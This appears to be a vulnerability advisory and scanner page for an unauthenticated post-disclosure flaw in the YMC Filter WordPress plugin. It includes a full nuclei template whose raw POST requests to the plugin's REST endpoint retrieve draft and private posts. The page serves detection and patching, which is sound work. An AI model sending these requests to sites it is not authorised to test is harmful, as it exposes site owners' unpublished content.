YMC Filter WordPress - Unauthenticated Post Disclosure

highseverity

7.5CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

YMC Filter WordPress plugin < 3.11.3 contains a broken access control vulnerability caused by improper authorization and lack of validation in a REST API endpoint, letting unauthenticated attackers retrieve private and non-public post content, exploit requires no authentication.

Impact

Unauthenticated attackers can access private, draft, and non-public post content, leading to sensitive information disclosure.

Fix

Update to version 3.11.3 or later.

How to confirm it

Send: POST /wp-json/ymc/v1/posts/filter
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "\"success\":true")
Send: POST /wp-json/ymc/v1/posts/filter
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"success\":true", "post-card")

Run it with nuclei: nuclei -id CVE-2026-10823 -u <target>

The full check

id: CVE-2026-10823

info:
  name: YMC Filter WordPress - Unauthenticated Post Disclosure
  author: Hardik-369
  severity: high
  description: |
    YMC Filter WordPress plugin < 3.11.3 contains a broken access control vulnerability caused by improper authorization and lack of validation in a REST API endpoint, letting unauthenticated attackers retrieve private and non-public post content, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access private, draft, and non-public post content, leading to sensitive information disclosure.
  remediation: |
    Update to version 3.11.3 or later.
  reference:
    - https://wpscan.com/vulnerability/b55ebf9e-a05d-4ae4-b653-da7db63e76d2/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10823
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-10823
    epss-score: 0.01524
    epss-percentile: 0.74856
    cwe-id: CWE-200
  metadata:
    max-request: 2
    verified: true
    vendor: ymc
    product: ymc-filter
    publicwww-query: "/plugins/ymc-smart-filter/"
  tags: cve,cve2026,wordpress,wp-plugin,ymc-filter,disclosure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/ymc/v1/posts/filter HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"filter_id":1,"post_status":"publish"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"success\":true")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/ymc/v1/posts/filter HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"filter_id":1,"post_status":"draft"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"success\":true", "post-card")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from